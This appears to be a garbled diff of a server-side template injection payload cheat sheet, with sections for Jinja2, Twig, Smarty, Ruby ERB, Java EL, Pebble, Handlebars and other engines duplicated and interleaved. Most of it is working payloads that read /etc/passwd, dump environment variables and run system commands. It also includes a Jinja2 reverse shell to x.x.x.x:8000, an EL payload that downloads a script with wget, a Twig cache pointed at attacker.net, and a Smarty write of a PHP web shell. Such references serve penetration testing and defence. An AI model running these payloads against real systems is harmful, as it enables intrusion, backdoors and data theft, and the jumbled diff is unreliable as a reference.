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@ -69,85 +69,32 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
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---
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## Ruby
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## ASP.NET Razor
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### Ruby - Basic injections
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### ASP.NET Razor - Basic injection
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ERB:
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```ruby
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<%= 7 * 7 %>
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```
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Slim:
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```ruby
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#{ 7 * 7 }
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```
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### Ruby - Retrieve /etc/passwd
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```ruby
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<%= File.open('/etc/passwd').read %>
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```
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### Ruby - List files and directories
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```ruby
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<%= Dir.entries('/') %>
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```
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### Ruby - Code execution
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Execute code using SSTI for ERB engine.
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```ruby
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<%= system('cat /etc/passwd') %>
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<%= `ls /` %>
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<%= IO.popen('ls /').readlines() %>
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<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
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<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
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```
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Execute code using SSTI for Slim engine.
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https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c
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```powershell
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#{ %x|env| }
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@(1+2)
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```
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## Java
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### ASP.NET Razor - Command execution
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### Java - Basic injection
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```java
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${7*7}
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${{7*7}}
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${class.getClassLoader()}
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${class.getResource("").getPath()}
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${class.getResource("../../../../../index.htm").getContent()}
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```csharp
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@{
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// C# code
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}
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```
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### Java - Retrieve the system’s environment variables
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```java
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${T(java.lang.System).getenv()}
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```
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### Java - Retrieve /etc/passwd
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```java
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${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
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${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
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```
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---
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## Expression Language EL
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### Expression Language EL - Basic injection
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```java
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${1+1}
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${1+1}
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#{1+1}
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```
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@ -163,7 +110,6 @@ ${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".g
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### Expression Language EL - Code Execution
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```java
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// Common RCE payloads
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''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
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@ -192,65 +138,7 @@ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().g
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${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
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```
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## Twig
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### Twig - Basic injection
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```python
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{{7*7}}
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{{7*'7'}} would result in 49
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{{dump(app)}}
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{{app.request.server.all|join(',')}}
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```
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### Twig - Template format
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```python
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$output = $twig > render (
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'Dear' . $_GET['custom_greeting'],
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array("first_name" => $user.first_name)
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);
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$output = $twig > render (
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"Dear {first_name}",
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array("first_name" => $user.first_name)
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);
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```
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### Twig - Arbitrary File Reading
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```python
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"{{'/etc/passwd'|file_excerpt(1,30)}}"@
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```
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### Twig - Code execution
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```python
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{{self}}
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{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
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{{['id']|filter('system')}}
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{{['cat\x20/etc/passwd']|filter('system')}}
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{{['cat$IFS/etc/passwd']|filter('system')}}
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```
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Example with an email passing FILTER_VALIDATE_EMAIL PHP.
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```powershell
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POST /subscribe?0=cat+/etc/passwd HTTP/1.1
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email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
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```
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## Smarty
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```python
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{$smarty.version}
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{php}echo `id`;{/php} //deprecated in smarty v3
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{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
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{system('ls')} // compatible v3
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{system('cat index.php')} // compatible v3
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```
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---
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## Freemarker
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@ -280,35 +168,65 @@ ${"freemarker.template.utility.Execute"?new()("id")}
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${dwf.newInstance(ec,null)("id")}
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```
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## Pebble
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---
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### Pebble - Basic injection
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## Handlebars
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```java
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{{ someString.toUPPERCASE() }}
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### Handlebars - Command Execution
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```handlebars
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{{#with "s" as |string|}}
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{{#with "e"}}
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{{#with split as |conslist|}}
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{{this.pop}}
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{{this.push (lookup string.sub "constructor")}}
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{{this.pop}}
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{{#with string.split as |codelist|}}
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{{this.pop}}
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{{this.push "return require('child_process').execSync('ls -la');"}}
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{{this.pop}}
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{{#each conslist}}
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{{#with (string.sub.apply 0 codelist)}}
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{{this}}
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{{/with}}
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{{/each}}
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{{/with}}
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{{/with}}
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{{/with}}
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{{/with}}
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```
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### Pebble - Code execution
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---
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Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
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## Java
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New version of Pebble :
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### Java - Basic injection
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```java
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{% set cmd = 'id' %}
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{% set bytes = (1).TYPE
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.forName('java.lang.Runtime')
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.methods[6]
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.invoke(null,null)
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.exec(cmd)
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.inputStream
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.readAllBytes() %}
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{{ (1).TYPE
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.forName('java.lang.String')
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.constructors[0]
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.newInstance(([bytes]).toArray()) }}
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${7*7}
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${{7*7}}
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${class.getClassLoader()}
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${class.getResource("").getPath()}
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${class.getResource("../../../../../index.htm").getContent()}
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```
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### Java - Retrieve the system’s environment variables
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|
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```java
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${T(java.lang.System).getenv()}
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```
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### Java - Retrieve /etc/passwd
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```java
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${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
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${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
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```
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---
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## Jade / Codepen
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```python
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@ -350,7 +268,7 @@ ${x}
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### Direct access to os from TemplateNamespace:
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Any of these payloads allows direct access to the `os` module
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Any of these payloads allows direct access to the `os` module
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```python
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${self.module.cache.util.os.system("id")}
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@ -549,13 +467,13 @@ In another GET parameter include a variable named "input" that contains the comm
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```python
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# evil config
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
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# load the evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
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# connect to evil host
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{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
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{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
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```
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|
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@ -608,7 +526,7 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
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Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
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### Jinjava - Command execution
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### Jinjava - Command execution
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Fixed by https://github.com/HubSpot/jinjava/pull/230
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@ -619,54 +537,9 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
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```
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## Handlebars
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### Handlebars - Command Execution
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```handlebars
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{{#with "s" as |string|}}
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{{#with "e"}}
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{{#with split as |conslist|}}
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{{this.pop}}
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{{this.push (lookup string.sub "constructor")}}
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{{this.pop}}
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{{#with string.split as |codelist|}}
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{{this.pop}}
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{{this.push "return require('child_process').execSync('ls -la');"}}
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{{this.pop}}
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{{#each conslist}}
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{{#with (string.sub.apply 0 codelist)}}
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{{this}}
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{{/with}}
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{{/each}}
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{{/with}}
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{{/with}}
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{{/with}}
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{{/with}}
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```
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## ASP.NET Razor
|
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|
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### ASP.NET Razor - Basic injection
|
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|
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https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c
|
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|
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```powershell
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@(1+2)
|
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```
|
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|
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### ASP.NET Razor - Command execution
|
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|
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```csharp
|
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@{
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// C# code
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}
|
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```
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|
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---
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## Lessjs
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|
|
@ -706,7 +579,7 @@ version 2 example RCE plugin:
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```javascript
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functions.add('cmd', function(val) {
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return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
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});
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});
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```
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version 3 and above example RCE plugin
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|
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@ -723,6 +596,150 @@ registerPlugin({
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|
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---
|
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|
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## Pebble
|
||||
|
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### Pebble - Basic injection
|
||||
|
||||
```java
|
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{{ someString.toUPPERCASE() }}
|
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```
|
||||
|
||||
### Pebble - Code execution
|
||||
|
||||
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
|
||||
|
||||
New version of Pebble :
|
||||
|
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```java
|
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{% set cmd = 'id' %}
|
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{% set bytes = (1).TYPE
|
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.forName('java.lang.Runtime')
|
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.methods[6]
|
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.invoke(null,null)
|
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.exec(cmd)
|
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.inputStream
|
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.readAllBytes() %}
|
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{{ (1).TYPE
|
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.forName('java.lang.String')
|
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.constructors[0]
|
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.newInstance(([bytes]).toArray()) }}
|
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```
|
||||
|
||||
---
|
||||
|
||||
## Ruby
|
||||
|
||||
### Ruby - Basic injections
|
||||
|
||||
ERB:
|
||||
|
||||
```ruby
|
||||
<%= 7 * 7 %>
|
||||
```
|
||||
|
||||
Slim:
|
||||
|
||||
```ruby
|
||||
#{ 7 * 7 }
|
||||
```
|
||||
|
||||
### Ruby - Retrieve /etc/passwd
|
||||
|
||||
```ruby
|
||||
<%= File.open('/etc/passwd').read %>
|
||||
```
|
||||
|
||||
### Ruby - List files and directories
|
||||
|
||||
```ruby
|
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<%= Dir.entries('/') %>
|
||||
```
|
||||
|
||||
### Ruby - Code execution
|
||||
|
||||
Execute code using SSTI for ERB engine.
|
||||
|
||||
```ruby
|
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<%= system('cat /etc/passwd') %>
|
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<%= `ls /` %>
|
||||
<%= IO.popen('ls /').readlines() %>
|
||||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||
```
|
||||
|
||||
|
||||
Execute code using SSTI for Slim engine.
|
||||
|
||||
```powershell
|
||||
#{ %x|env| }
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Smarty
|
||||
|
||||
```python
|
||||
{$smarty.version}
|
||||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||||
{system('ls')} // compatible v3
|
||||
{system('cat index.php')} // compatible v3
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Twig
|
||||
|
||||
### Twig - Basic injection
|
||||
|
||||
```python
|
||||
{{7*7}}
|
||||
{{7*'7'}} would result in 49
|
||||
{{dump(app)}}
|
||||
{{app.request.server.all|join(',')}}
|
||||
```
|
||||
|
||||
### Twig - Template format
|
||||
|
||||
```python
|
||||
$output = $twig > render (
|
||||
'Dear' . $_GET['custom_greeting'],
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
|
||||
$output = $twig > render (
|
||||
"Dear {first_name}",
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
```
|
||||
|
||||
### Twig - Arbitrary File Reading
|
||||
|
||||
```python
|
||||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||||
```
|
||||
|
||||
### Twig - Code execution
|
||||
|
||||
```python
|
||||
{{self}}
|
||||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||||
{{['id']|filter('system')}}
|
||||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||
```
|
||||
|
||||
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
|
||||
|
||||
```powershell
|
||||
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
|
||||
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
|
||||
|
|
|
|||
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